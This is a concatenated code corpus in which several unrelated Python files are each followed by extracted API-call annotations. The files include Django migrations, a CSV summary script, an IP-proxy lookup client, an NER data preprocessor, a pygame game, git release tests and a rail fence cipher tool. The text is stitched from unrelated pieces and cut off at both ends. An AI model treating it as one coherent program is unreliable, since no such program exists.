Path\n'), ((2650, 2694), 'matador.git.fetch_all', 'git.fetch_all', (['project_repo', 'deployment_repo'], {}), '(project_repo, deployment_repo)\n', (2663, 2694), False, 'from matador import git\n'), ((2769, 2806), 'matador.git.checkout', 'git.checkout', (['deployment_repo', 'commit'], {}), '(deployment_repo, commit)\n', (2781, 2806), False, 'from matador import git\n'), ((2903, 2949), 'pathlib.Path', 'Path', (['package_deployment_folder', '"""tickets.yml"""'], {}), "(package_deployment_folder, 'tickets.yml')\n", (2907, 2949), False, 'from pathlib import Path\n'), ((3060, 3110), 'pathlib.Path', 'Path', (['project_folder', '"""config"""', '"""environments.yml"""'], {}), "(project_folder, 'config', 'environments.yml')\n", (3064, 3110), False, 'from pathlib import Path\n'), ((3562, 3611), 'pathlib.Path', 'Path', (['project_folder', '"""config"""', '"""credentials.yml"""'], {}), "(project_folder, 'config', 'credentials.yml')\n", (3566, 3611), False, 'from pathlib import Path\n'), ((308, 328), 'pathlib.Path', 'Path', (['project_folder'], {}), '(project_folder)\n', (312, 328), False, 'from pathlib import Path\n'), ((363, 374), 'pathlib.Path.home', 'Path.home', ([], {}), '()\n', (372, 374), False, 'from pathlib import Path\n'), ((1621, 1632), 'pathlib.Path.home', 'Path.home', ([], {}), '()\n', (1630, 1632), False, 'from pathlib import Path\n'), ((1941, 1985), 'matador.git.fetch_all', 'git.fetch_all', (['project_repo', 'deployment_repo'], {}), '(project_repo, deployment_repo)\n', (1954, 1985), False, 'from matador import git\n'), ((2425, 2436), 'pathlib.Path.home', 'Path.home', ([], {}), '()\n', (2434, 2436), False, 'from pathlib import Path\n'), ((3187, 3202), 'yaml.load', 'yaml.load', (['file'], {}), '(file)\n', (3196, 3202), False, 'import yaml\n'), ((3687, 3702), 'yaml.load', 'yaml.load', (['file'], {}), '(file)\n', (3696, 3702), False, 'import yaml\n'), ((706, 752), 'pathlib.Path', 'Path', (['deployment_repo_folder', '""".git"""', '"""config"""'], {}), "(deployment_repo_folder, '.git', 'config')\n", (710, 752), False, 'from pathlib import Path\n'), ((770, 784), 'configparser.ConfigParser', 'ConfigParser', ([], {}), '()\n', (782, 784), False, 'from configparser import ConfigParser\n'), ((1184, 1247), 'pathlib.Path', 'Path', (['deployment_repo_folder', '""".git"""', '"""info"""', '"""sparse-checkout"""'], {}), "(deployment_repo_folder, '.git', 'info', 'sparse-checkout')\n", (1188, 1247), False, 'from pathlib import Path\n'), ((3022, 3037), 'dulwich.repo.Repo.discover', 'Repo.discover', ([], {}), '()\n', (3035, 3037), False, 'from dulwich.repo import Repo\n'), ((3524, 3539), 'dulwich.repo.Repo.discover', 'Repo.discover', ([], {}), '()\n', (3537, 3539), False, 'from dulwich.repo import Repo\n')] |
# Generated by Django 3.1.4 on 2020-12-14 13:44
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('projects', '0002_auto_20201202_1826'),
]
operations = [
migrations.AlterField(
model_name='project',
name='closingDate',
field=models.DateTimeField(blank=True, default=None, null=True),
),
migrations.AlterField(
model_name='project',
name='creationDate',
field=models.DateTimeField(auto_now_add=True),
),
migrations.AlterField(
model_name='project',
name='members',
field=models.ManyToManyField(blank=True, related_name='projects', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='project',
name='supervisors',
field=models.ManyToManyField(blank=True, related_name='supervised_projects', to=settings.AUTH_USER_MODEL),
),
]
| [
"django.db.models.DateTimeField",
"django.db.migrations.swappable_dependency",
"django.db.models.ManyToManyField"
] | [((194, 251), 'django.db.migrations.swappable_dependency', 'migrations.swappable_dependency', (['settings.AUTH_USER_MODEL'], {}), '(settings.AUTH_USER_MODEL)\n', (225, 251), False, 'from django.db import migrations, models\n'), ((443, 500), 'django.db.models.DateTimeField', 'models.DateTimeField', ([], {'blank': '(True)', 'default': 'None', 'null': '(True)'}), '(blank=True, default=None, null=True)\n', (463, 500), False, 'from django.db import migrations, models\n'), ((629, 668), 'django.db.models.DateTimeField', 'models.DateTimeField', ([], {'auto_now_add': '(True)'}), '(auto_now_add=True)\n', (649, 668), False, 'from django.db import migrations, models\n'), ((792, 885), 'django.db.models.ManyToManyField', 'models.ManyToManyField', ([], {'blank': '(True)', 'related_name': '"""projects"""', 'to': 'settings.AUTH_USER_MODEL'}), "(blank=True, related_name='projects', to=settings.\n AUTH_USER_MODEL)\n", (814, 885), False, 'from django.db import migrations, models\n'), ((1008, 1112), 'django.db.models.ManyToManyField', 'models.ManyToManyField', ([], {'blank': '(True)', 'related_name': '"""supervised_projects"""', 'to': 'settings.AUTH_USER_MODEL'}), "(blank=True, related_name='supervised_projects', to=\n settings.AUTH_USER_MODEL)\n", (1030, 1112), False, 'from django.db import migrations, models\n')] |
#!/usr/bin/python3
import pandas as pd
import csv
runs = [ ('games120.col',7),
('miles250.col',5),
('miles500.col',5),
('miles750.col',5),
('miles1000.col',5),
('miles1500.col',3),
('le450_5b.col',18),
('le450_15b.col',15),
('le450_25b.col',9),
('ran10_100_a.bliss',10),
('ran10_100_b.bliss',10),
('ran10_100_c.bliss',10),
('ran10_100_d.bliss',10),
]
## for each file, budget above
default_top_num = 10
for f,b in runs:
file_name = f+'.trackedEdges.budget'+str(b)+'.txt'
counts = pd.read_csv(file_name, header=None)[0]
percentages = counts.value_counts()/counts.count()
## sort so slicing works right
percentages.sort_index(inplace=True)
top_num = min(default_top_num, percentages.count())
with open(file_name+'.summary.csv', 'w', newline='') as csvfile:
csvwriter = csv.writer(csvfile, delimiter='\t')
for i in range(top_num):
csvwriter.writerow([str(i+1), str(percentages[i])])
## combine all others
csvwriter.writerow([str(top_num+1)+'+', str(percentages[top_num:].sum())])
del counts, percentages
| [
"csv.writer",
"pandas.read_csv"
] | [((625, 660), 'pandas.read_csv', 'pd.read_csv', (['file_name'], {'header': 'None'}), '(file_name, header=None)\n', (636, 660), True, 'import pandas as pd\n'), ((943, 978), 'csv.writer', 'csv.writer', (['csvfile'], {'delimiter': '"""\t"""'}), "(csvfile, delimiter='\\t')\n", (953, 978), False, 'import csv\n')] |
from src.objects.Track import Track
from src.usesful_func import start_pygame_headless
start_pygame_headless()
track = Track("tracks/tiny.tra")
def test_car_human():
from src.cars.CarHuman import CarHuman
car = CarHuman(track)
assert car
def test_car_ai():
from src.cars.CarAI import CarAI
from src.objects.NeuralNet import NeuralNet
nn = NeuralNet.from_path("models/raw/cnn_light.net")
car = CarAI(track=track, neural_net=nn)
assert car
| [
"src.usesful_func.start_pygame_headless",
"src.cars.CarHuman.CarHuman",
"src.cars.CarAI.CarAI",
"src.objects.Track.Track",
"src.objects.NeuralNet.NeuralNet.from_path"
] | [((89, 112), 'src.usesful_func.start_pygame_headless', 'start_pygame_headless', ([], {}), '()\n', (110, 112), False, 'from src.usesful_func import start_pygame_headless\n'), ((121, 145), 'src.objects.Track.Track', 'Track', (['"""tracks/tiny.tra"""'], {}), "('tracks/tiny.tra')\n", (126, 145), False, 'from src.objects.Track import Track\n'), ((225, 240), 'src.cars.CarHuman.CarHuman', 'CarHuman', (['track'], {}), '(track)\n', (233, 240), False, 'from src.cars.CarHuman import CarHuman\n'), ((372, 419), 'src.objects.NeuralNet.NeuralNet.from_path', 'NeuralNet.from_path', (['"""models/raw/cnn_light.net"""'], {}), "('models/raw/cnn_light.net')\n", (391, 419), False, 'from src.objects.NeuralNet import NeuralNet\n'), ((431, 464), 'src.cars.CarAI.CarAI', 'CarAI', ([], {'track': 'track', 'neural_net': 'nn'}), '(track=track, neural_net=nn)\n', (436, 464), False, 'from src.cars.CarAI import CarAI\n')] |
from grammar import SimpleGrammar
sg = SimpleGrammar()
sg.add_tag("story", ["#story_beginning# #story_problem# #story_climax# #story_ending#"])
sg.add_tag("story_beginning", ["Once upon a time there was a valiant #animal#"])
sg.add_tag("story_problem", ["that never #difficulty_verb#.", \
"that one day heard some strange words: #strange_calling#"])
sg.add_tag("story_climax", ["Suddenly, he decided to #resolution_verb#."])
sg.add_tag("story_ending", ["Finally he could #result_verb# without worries."])
sg.add_tag("difficulty_verb", ["slept", "danced", "talked"])
sg.add_tag("resolution_verb", ["run", "sing", "give up"])
sg.add_tag("result_verb", ["sleep", "dance", "talk freely"])
sg.add_tag("strange_calling", ["Hello #name#!", "Hello my #writer_object#!"])
sg.add_tag("animal", ["dolphin", "dog", "cat", "lamb", "lion"])
sg.add_tag("name", ["Mr. Gil", "Madame", "Masked Man"])
sg.add_tag("writer_object", ["text", "book", "beloved code"])
print(sg.evaluate("#story#")) | [
"grammar.SimpleGrammar"
] | [((40, 55), 'grammar.SimpleGrammar', 'SimpleGrammar', ([], {}), '()\n', (53, 55), False, 'from grammar import SimpleGrammar\n')] |
import requests
import json
from decimal import Decimal as D
from typing import Iterable, Any, Dict
from django.core.exceptions import ValidationError
from django.core.validators import validate_email, validate_ipv46_address
IPINTEL_URL = 'https://check.getipintel.net/check.php'
VALID_FLAGS = ['m', 'b', 'f', None]
PROBABILITY = D(0.99)
TIMEOUT = 5.00
class IPIntelException(ValueError):
"""Raised error when a GetIPIntel query responds with an error."""
def __init__(self, message: str, *args: Iterable[Any]):
self.message = message
super().__init__(message, *args)
class IPIntel:
def __init__(self, email: str, ip: str, flag: str = None):
"""Params:
:param email: A valid email address to contact
:param ip: A valid IPv4 or IPv6 IP Address to query.
:param flag: A valid flag to url. Options: m, b, f or None
"""
self.email = email
self.ip = ip
self.flag = flag
self.format = 'json'
def lookup(self) -> bool:
"""Attempts to determine if the given address is a possible proxy
:return: True if the given address is a bad address, or exceeds
the given probability
"""
self._check_params()
params = self._build_params()
url = self._build_url(params)
return self._send_request(url)
def _send_request(self, url: str) -> bool:
try:
response = requests.get(url, timeout=TIMEOUT)
except (requests.HTTPError, requests.Timeout):
raise IPIntelException('Server don\'t response')
if response.status_code != requests.codes.ok:
msg = 'Server response {} code'.format(response.status_code)
raise IPIntelException(msg)
if response.status_code == 429:
msg = 'Your exceed max query limit'
raise IPIntelException(msg)
content = json.loads(response.text)
if content.get('status') == 'success':
if self.flag == 'm':
return bool(content.get('result'))
else:
return D(content.get('result')) < PROBABILITY
elif content.get('status') == 'error':
raise IPIntelException(content.get('message'))
raise IPIntelException('Unknown response', content)
def _build_params(self) -> Dict[str, str]:
return {'ip': self.ip, 'email': self.email, 'format': self.format,
'flag': self.flag}
def _build_url(self, params: Dict[str, str]) -> str:
url = '{}?ip={ip}&contact={email}&format={format}'
url = url.format(IPINTEL_URL, **params)
if self.flag:
url += '&flag={}'.format(params.get('flag', 'b'))
return url
def _check_params(self):
self._check_email()
self._check_ip()
self._check_flag()
def _check_email(self):
validate_email(self.email)
def _check_flag(self):
if self.flag not in VALID_FLAGS:
raise ValidationError('Flag is not valid')
def _check_ip(self):
validate_ipv46_address(self.ip)
| [
"json.loads",
"decimal.Decimal",
"django.core.exceptions.ValidationError",
"requests.get",
"django.core.validators.validate_email",
"django.core.validators.validate_ipv46_address"
] | [((333, 340), 'decimal.Decimal', 'D', (['(0.99)'], {}), '(0.99)\n', (334, 340), True, 'from decimal import Decimal as D\n'), ((1909, 1934), 'json.loads', 'json.loads', (['response.text'], {}), '(response.text)\n', (1919, 1934), False, 'import json\n'), ((2889, 2915), 'django.core.validators.validate_email', 'validate_email', (['self.email'], {}), '(self.email)\n', (2903, 2915), False, 'from django.core.validators import validate_email, validate_ipv46_address\n'), ((3074, 3105), 'django.core.validators.validate_ipv46_address', 'validate_ipv46_address', (['self.ip'], {}), '(self.ip)\n', (3096, 3105), False, 'from django.core.validators import validate_email, validate_ipv46_address\n'), ((1442, 1476), 'requests.get', 'requests.get', (['url'], {'timeout': 'TIMEOUT'}), '(url, timeout=TIMEOUT)\n', (1454, 1476), False, 'import requests\n'), ((3003, 3039), 'django.core.exceptions.ValidationError', 'ValidationError', (['"""Flag is not valid"""'], {}), "('Flag is not valid')\n", (3018, 3039), False, 'from django.core.exceptions import ValidationError\n')] |
import os
import csv
from utils import check_dir, make_sentences
import numpy as np
import pandas as pd
def transform(source_path):
rows = []
sentence_count = 1
new_sentence=True
for root, __subFolders, files in os.walk(source_path):
for file in files:
if file.endswith('.tags'):
for line in open(os.path.join(root, file), encoding='utf-8'):
line = line.split()
if len(line) >= 5 and new_sentence==True:
row = [sentence_count, line[0], line[1], line[4]]
new_sentence=False
rows.append(row)
elif len(line) >= 5:
row = [sentence_count, line[0], line[1], line[4]]
rows.append(row)
else:
new_sentence = True
sentence_count += 1
return rows, sentence_count
def main():
source_path = "./data/gmb-1.0.0"
columns = ["sentence_idx", "Word", "POS", "Tag"]
rows, sentence_count = transform(source_path)
sentence_idx = np.array(range(sentence_count))
# split into train and test files. this will help with keeping the generators simple,
# plus this should really be done at the ETL stage of the pipeline anyway!
test_idx = np.random.choice(np.array(range(sentence_count)), size=int(sentence_count*0.2), replace=False)
train_idx = np.setdiff1d(sentence_idx,test_idx)
# check that the directory to store the data exists, if not create it.
check_dir("./data/processed_data/gmb/")
df_train = pd.DataFrame(data=[s for s in rows if s[0] in train_idx], columns=columns)
train_sentences, train_labels = make_sentences(df_train, group_col="sentence_idx", word_col="Word", tag_col="Tag")
train_sentences.to_csv("./data/processed_data/gmb/train.sentences.csv", index=False, header=False)
train_labels.to_csv("./data/processed_data/gmb/train.labels.csv", index=False, header=False)
vocab = df_train["Word"].unique() # TODO change this to be a full list and add a frequency filter.
tags = sorted(df_train["Tag"].unique(), reverse=True)
with open("./data/processed_data/gmb/vocabulary.txt", "w", newline="") as f:
f.write("\n".join(vocab))
with open("./data/processed_data/gmb/tags.txt", "w", newline="") as f:
f.write("\n".join(tags))
del (df_train, train_sentences, train_labels, vocab, tags)
check_dir("./data/processed_data/gmb/")
df_test = pd.DataFrame(data=[s for s in rows if s[0] in test_idx], columns=columns)
test_sentences, test_labels = make_sentences(df_test, group_col="sentence_idx", word_col="Word", tag_col="Tag")
test_sentences.to_csv("./data/processed_data/gmb/test.sentences.csv", index=False, header=False)
test_labels.to_csv("./data/processed_data/gmb/test.labels.csv", index=False, header=False)
del (df_test, test_sentences, test_labels)
if __name__ == "__main__":
main() | [
"utils.make_sentences",
"os.path.join",
"numpy.setdiff1d",
"pandas.DataFrame",
"utils.check_dir",
"os.walk"
] | [((230, 250), 'os.walk', 'os.walk', (['source_path'], {}), '(source_path)\n', (237, 250), False, 'import os\n'), ((1461, 1497), 'numpy.setdiff1d', 'np.setdiff1d', (['sentence_idx', 'test_idx'], {}), '(sentence_idx, test_idx)\n', (1473, 1497), True, 'import numpy as np\n'), ((1577, 1616), 'utils.check_dir', 'check_dir', (['"""./data/processed_data/gmb/"""'], {}), "('./data/processed_data/gmb/')\n", (1586, 1616), False, 'from utils import check_dir, make_sentences\n'), ((1632, 1706), 'pandas.DataFrame', 'pd.DataFrame', ([], {'data': '[s for s in rows if s[0] in train_idx]', 'columns': 'columns'}), '(data=[s for s in rows if s[0] in train_idx], columns=columns)\n', (1644, 1706), True, 'import pandas as pd\n'), ((1743, 1830), 'utils.make_sentences', 'make_sentences', (['df_train'], {'group_col': '"""sentence_idx"""', 'word_col': '"""Word"""', 'tag_col': '"""Tag"""'}), "(df_train, group_col='sentence_idx', word_col='Word', tag_col\n ='Tag')\n", (1757, 1830), False, 'from utils import check_dir, make_sentences\n'), ((2482, 2521), 'utils.check_dir', 'check_dir', (['"""./data/processed_data/gmb/"""'], {}), "('./data/processed_data/gmb/')\n", (2491, 2521), False, 'from utils import check_dir, make_sentences\n'), ((2536, 2609), 'pandas.DataFrame', 'pd.DataFrame', ([], {'data': '[s for s in rows if s[0] in test_idx]', 'columns': 'columns'}), '(data=[s for s in rows if s[0] in test_idx], columns=columns)\n', (2548, 2609), True, 'import pandas as pd\n'), ((2644, 2730), 'utils.make_sentences', 'make_sentences', (['df_test'], {'group_col': '"""sentence_idx"""', 'word_col': '"""Word"""', 'tag_col': '"""Tag"""'}), "(df_test, group_col='sentence_idx', word_col='Word', tag_col=\n 'Tag')\n", (2658, 2730), False, 'from utils import check_dir, make_sentences\n'), ((351, 375), 'os.path.join', 'os.path.join', (['root', 'file'], {}), '(root, file)\n', (363, 375), False, 'import os\n')] |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Resource import Resource
from Audio import Audio
from Scene import Scene
from Song import Song, Note, loadSong
from Input import Input
import pygame
from pygame.locals import *
import sys
import getopt
import Constants
#import cProfile as profile
class DanceCV():
def __init__(self, song, speed):
self.input = Input()
self.resource = Resource()
self.audio = Audio()
self.audio.pre_open()
pygame.init()
self.audio.open()
if song != None:
self.song = loadSong(self.resource, song)
else:
self.song = loadSong(self.resource, "gangnam")
self.clock = pygame.time.Clock()
pygame.display.set_mode((Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT))
pygame.display.set_caption("DanceCV")
screen = pygame.display.get_surface()
if speed != None:
self.scene = Scene(self.resource, self.song, screen, self.input, speed)
else:
self.scene = Scene(self.resource, self.song, screen, self.input, 2)
def run(self):
while True:
for events in pygame.event.get():
if events.type == QUIT:
sys.exit(0)
self.input.run()
self.scene.run()
pygame.display.update()
self.clock.tick(30)
if __name__ == "__main__":
song = None
speed = None
options, remainder = getopt.getopt(sys.argv[1:], 's:x:')
for opt, arg in options:
if opt in ('-s'):
song = arg
elif opt in ('-x'):
speed = float(arg)
game = DanceCV(song, speed)
game.run()
| [
"getopt.getopt",
"Audio.Audio",
"pygame.display.set_caption",
"pygame.init",
"sys.exit",
"Scene.Scene",
"Song.loadSong",
"pygame.display.set_mode",
"pygame.event.get",
"pygame.display.get_surface",
"Resource.Resource",
"Input.Input",
"pygame.time.Clock",
"pygame.display.update"
] | [((1501, 1536), 'getopt.getopt', 'getopt.getopt', (['sys.argv[1:]', '"""s:x:"""'], {}), "(sys.argv[1:], 's:x:')\n", (1514, 1536), False, 'import getopt\n'), ((377, 384), 'Input.Input', 'Input', ([], {}), '()\n', (382, 384), False, 'from Input import Input\n'), ((409, 419), 'Resource.Resource', 'Resource', ([], {}), '()\n', (417, 419), False, 'from Resource import Resource\n'), ((441, 448), 'Audio.Audio', 'Audio', ([], {}), '()\n', (446, 448), False, 'from Audio import Audio\n'), ((487, 500), 'pygame.init', 'pygame.init', ([], {}), '()\n', (498, 500), False, 'import pygame\n'), ((700, 719), 'pygame.time.Clock', 'pygame.time.Clock', ([], {}), '()\n', (717, 719), False, 'import pygame\n'), ((728, 802), 'pygame.display.set_mode', 'pygame.display.set_mode', (['(Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT)'], {}), '((Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT))\n', (751, 802), False, 'import pygame\n'), ((811, 848), 'pygame.display.set_caption', 'pygame.display.set_caption', (['"""DanceCV"""'], {}), "('DanceCV')\n", (837, 848), False, 'import pygame\n'), ((866, 894), 'pygame.display.get_surface', 'pygame.display.get_surface', ([], {}), '()\n', (892, 894), False, 'import pygame\n'), ((576, 605), 'Song.loadSong', 'loadSong', (['self.resource', 'song'], {}), '(self.resource, song)\n', (584, 605), False, 'from Song import Song, Note, loadSong\n'), ((644, 678), 'Song.loadSong', 'loadSong', (['self.resource', '"""gangnam"""'], {}), "(self.resource, 'gangnam')\n", (652, 678), False, 'from Song import Song, Note, loadSong\n'), ((946, 1004), 'Scene.Scene', 'Scene', (['self.resource', 'self.song', 'screen', 'self.input', 'speed'], {}), '(self.resource, self.song, screen, self.input, speed)\n', (951, 1004), False, 'from Scene import Scene\n'), ((1044, 1098), 'Scene.Scene', 'Scene', (['self.resource', 'self.song', 'screen', 'self.input', '(2)'], {}), '(self.resource, self.song, screen, self.input, 2)\n', (1049, 1098), False, 'from Scene import Scene\n'), ((1183, 1201), 'pygame.event.get', 'pygame.event.get', ([], {}), '()\n', (1199, 1201), False, 'import pygame\n'), ((1345, 1368), 'pygame.display.update', 'pygame.display.update', ([], {}), '()\n', (1366, 1368), False, 'import pygame\n'), ((1263, 1274), 'sys.exit', 'sys.exit', (['(0)'], {}), '(0)\n', (1271, 1274), False, 'import sys\n')] |
# Generated by Django 2.0 on 2017-12-18 09:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('codenerix', '0020_remotelog'),
]
operations = [
migrations.AddField(
model_name='log',
name='username',
field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'),
),
migrations.AddField(
model_name='remotelog',
name='username',
field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'),
),
migrations.AlterField(
model_name='remotelog',
name='user',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),
),
]
| [
"django.db.models.CharField",
"django.db.models.ForeignKey"
] | [((390, 476), 'django.db.models.CharField', 'models.CharField', ([], {'blank': '(True)', 'default': '""""""', 'max_length': '(200)', 'verbose_name': '"""Username"""'}), "(blank=True, default='', max_length=200, verbose_name=\n 'Username')\n", (406, 476), False, 'from django.db import migrations, models\n'), ((596, 682), 'django.db.models.CharField', 'models.CharField', ([], {'blank': '(True)', 'default': '""""""', 'max_length': '(200)', 'verbose_name': '"""Username"""'}), "(blank=True, default='', max_length=200, verbose_name=\n 'Username')\n", (612, 682), False, 'from django.db import migrations, models\n'), ((800, 922), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'blank': '(True)', 'null': '(True)', 'on_delete': 'django.db.models.deletion.DO_NOTHING', 'to': 'settings.AUTH_USER_MODEL'}), '(blank=True, null=True, on_delete=django.db.models.\n deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)\n', (817, 922), False, 'from django.db import migrations, models\n')] |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
def find_template(signal, rr):
return signal[200:400]
def conv(signal, template):
scores = []
template_length = len(template)
signal_length = len(signal)
for ind in range(signal_length-template_length):
score = np.dot(signal[ind:ind+template_length], template)
score = np.sqrt(score / template_length) - 300
scores.append(score)
return scores
def findpeaks(signal):
pass
if __name__ == "__main__":
pass
| [
"numpy.dot",
"numpy.sqrt"
] | [((374, 425), 'numpy.dot', 'np.dot', (['signal[ind:ind + template_length]', 'template'], {}), '(signal[ind:ind + template_length], template)\n', (380, 425), True, 'import numpy as np\n'), ((440, 472), 'numpy.sqrt', 'np.sqrt', (['(score / template_length)'], {}), '(score / template_length)\n', (447, 472), True, 'import numpy as np\n')] |
from __future__ import unicode_literals
import argparse
import mock
import pytest
from git import Repo, TagObject, Commit, GitCommandError
from git.util import hex_to_bin
import release
PREVIOUS_TAG = "v1.2.2"
CURRENT_TAG = "v1.2.3"
def _h2b(prefix):
return hex_to_bin(_pad(prefix))
def _pad(prefix):
return prefix + "0" * (40 - len(prefix))
class TestRepository(object):
@pytest.fixture
def options(self):
return argparse.Namespace(directory=".", dry_run=True, force=False)
@pytest.fixture
def git_repo(self):
with mock.patch("release.Repo", spec=Repo, spec_set=True) as mock_repo:
commits = [
Commit(mock_repo, _h2b("111111"), message="First commit", parents=tuple()),
Commit(mock_repo, _h2b("222222"), message="Second commit", parents=("111111",)),
Commit(mock_repo, _h2b("333333"), message="Third commit", parents=("222222",))
]
mock_repo.iter_commits.return_value = commits
rev_parse_returns = {
"heads/master": commits[-1],
PREVIOUS_TAG: TagObject(mock_repo, _h2b("aaaaaa"), object=commits[-2], tag=PREVIOUS_TAG),
CURRENT_TAG: TagObject(mock_repo, _h2b("bbbbbb"), object=commits[-1], tag=CURRENT_TAG)
}
mock_repo.rev_parse.side_effect = lambda x: rev_parse_returns[x]
mock_repo.git.rev_parse.side_effect = lambda x, **kwargs: x
def describe(rev=None, **kwargs):
print("call to describe(%r, %r)" % (rev, kwargs))
if rev is None:
return CURRENT_TAG
if rev.endswith("^"):
if rev.startswith(CURRENT_TAG):
return PREVIOUS_TAG
raise GitCommandError("describe", "failed")
raise AssertionError("Test wants to describe something unexpected: rev=%r, kwargs=%r" % (rev, kwargs))
mock_repo.git.describe.side_effect = describe
yield mock_repo
@pytest.fixture
def repository(self, git_repo, options):
repository = release.Repository(options)
repository.repo = git_repo
yield repository
@pytest.mark.parametrize("dirty,untracked,result", (
(True, True, False),
(True, False, False),
(False, True, False),
(False, False, True)
))
def test_can_not_release_from_unclean_repo(self, repository, git_repo, dirty, untracked, result):
git_repo.is_dirty.return_value = dirty
git_repo.untracked_files = ["a"] if untracked else []
assert repository.ready_for_release() is result
@pytest.mark.parametrize("name,result", (
("v1", True),
("v1.2", True),
("v1.2.3", True),
("v123", True),
("1.2.3", False),
("a.b.c", False),
("v1.a.3", False),
))
def test_tag_must_match_version(self, repository, git_repo, name, result):
git_repo.is_dirty.return_value = False
git_repo.untracked_files = []
git_repo.head.commit = "123"
mock_tag = mock.MagicMock()
mock_tag.tag = name
git_repo.rev_parse.return_value = mock_tag
git_repo.rev_parse.side_effect = None
assert repository.ready_for_release() is result
@pytest.mark.parametrize("current_tag,previous_tag", (
("444444", release.THE_NULL_COMMIT),
("v1.2.3", "v1.2.2")
))
def test_creates_changelog(self, monkeypatch, repository, git_repo, current_tag, previous_tag):
monkeypatch.setattr(repository, "_current_tag", current_tag)
changelog = repository.generate_changelog()
assert len(changelog) == 3
assert changelog[0] == (_pad("111111"), "First commit")
assert changelog[1] == (_pad("222222"), "Second commit")
assert changelog[2] == (_pad("333333"), "Third commit")
git_repo.iter_commits.assert_called_with("{}..{}".format(previous_tag, current_tag))
| [
"mock.patch",
"release.Repository",
"pytest.mark.parametrize",
"argparse.Namespace",
"git.GitCommandError",
"mock.MagicMock"
] | [((2234, 2377), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""dirty,untracked,result"""', '((True, True, False), (True, False, False), (False, True, False), (False, \n False, True))'], {}), "('dirty,untracked,result', ((True, True, False), (\n True, False, False), (False, True, False), (False, False, True)))\n", (2257, 2377), False, 'import pytest\n'), ((2685, 2854), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""name,result"""', "(('v1', True), ('v1.2', True), ('v1.2.3', True), ('v123', True), ('1.2.3', \n False), ('a.b.c', False), ('v1.a.3', False))"], {}), "('name,result', (('v1', True), ('v1.2', True), (\n 'v1.2.3', True), ('v123', True), ('1.2.3', False), ('a.b.c', False), (\n 'v1.a.3', False)))\n", (2708, 2854), False, 'import pytest\n'), ((3333, 3450), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""current_tag,previous_tag"""', "(('444444', release.THE_NULL_COMMIT), ('v1.2.3', 'v1.2.2'))"], {}), "('current_tag,previous_tag', (('444444', release.\n THE_NULL_COMMIT), ('v1.2.3', 'v1.2.2')))\n", (3356, 3450), False, 'import pytest\n'), ((448, 508), 'argparse.Namespace', 'argparse.Namespace', ([], {'directory': '"""."""', 'dry_run': '(True)', 'force': '(False)'}), "(directory='.', dry_run=True, force=False)\n", (466, 508), False, 'import argparse\n'), ((2140, 2167), 'release.Repository', 'release.Repository', (['options'], {}), '(options)\n', (2158, 2167), False, 'import release\n'), ((3128, 3144), 'mock.MagicMock', 'mock.MagicMock', ([], {}), '()\n', (3142, 3144), False, 'import mock\n'), ((567, 619), 'mock.patch', 'mock.patch', (['"""release.Repo"""'], {'spec': 'Repo', 'spec_set': '(True)'}), "('release.Repo', spec=Repo, spec_set=True)\n", (577, 619), False, 'import mock\n'), ((1809, 1846), 'git.GitCommandError', 'GitCommandError', (['"""describe"""', '"""failed"""'], {}), "('describe', 'failed')\n", (1824, 1846), False, 'from git import Repo, TagObject, Commit, GitCommandError\n')] |
'''
Case Sensetive.
Support Numbers and Symbols.
Key Must be an Integer Lower Than Word Length and Higher than 1.
'''
def encryptRailFence(text, key):
rail = [['\n' for i in range(len(text))]
for j in range(key)]
dir_down = False
row, col = 0, 0
for i in range(len(text)):
if (row == 0) or (row == key - 1):
dir_down = not dir_down
rail[row][col] = text[i]
col += 1
if dir_down:
row += 1
else:
row -= 1
result = []
for i in range(key):
for j in range(len(text)):
if rail[i][j] != '\n':
result.append(rail[i][j])
return("" . join(result))
def decryptRailFence(cipher, key):
rail = [['\n' for i in range(len(cipher))]
for j in range(key)]
dir_down = None
row, col = 0, 0
for i in range(len(cipher)):
if row == 0:
dir_down = True
if row == key - 1:
dir_down = False
rail[row][col] = '*'
col += 1
if dir_down:
row += 1
else:
row -= 1
index = 0
for i in range(key):
for j in range(len(cipher)):
if ((rail[i][j] == '*') and
(index < len(cipher))):
rail[i][j] = cipher[index]
index += 1
result = []
row, col = 0, 0
for i in range(len(cipher)):
if row == 0:
dir_down = True
if row == key-1:
dir_down = False
if (rail[row][col] != '*'):
result.append(rail[row][col])
col += 1
if dir_down:
row += 1
else:
row -= 1
return("".join(result))
import os
while True:
os.system('clear')
print('''
█▀▀█ █▀▀█ ▀█▀ █ █▀▀ █▀▀ █▀▀▄ █▀▀ █▀▀
█▄▄▀ █▄▄█ █ █ █▀▀ █▀▀ █ █ ▀▀█ █▀▀
▀ ▀▀ ▀ ▀ ▀▀▀ ▀▀▀ ▀ ▀▀▀ ▀ ▀ ▀▀▀ ▀▀▀ (Zig-Zag) ''')
print('''
{1}--Encrypt to Zig-Zag
{2}--Decrypt Zig-Zag Cipher
''')
vminp= input(' DramaX:Rail_Fense> ')
print()
if vminp=='99':
exit()
if vminp=='1':
Word= input(' Type Word: ')
Key= input(' Enter Key: ')
if Word and Key:
print(encryptRailFence(Word,int(Key))+'\n')
if vminp=='2':
Cipher= input(' Type Cipher Text: ')
Key= input(' Enter Key: ')
if Cipher and Key:
print(decryptRailFence(Cipher,int(Key))+'\n')
os.system('pause')
| [
"os.system"
] | [((1795, 1813), 'os.system', 'os.system', (['"""clear"""'], {}), "('clear')\n", (1804, 1813), False, 'import os\n'), ((2545, 2563), 'os.system', 'os.system', (['"""pause"""'], {}), "('pause')\n", (2554, 2563), False, 'import os\n')] |
from __future__ import print_function
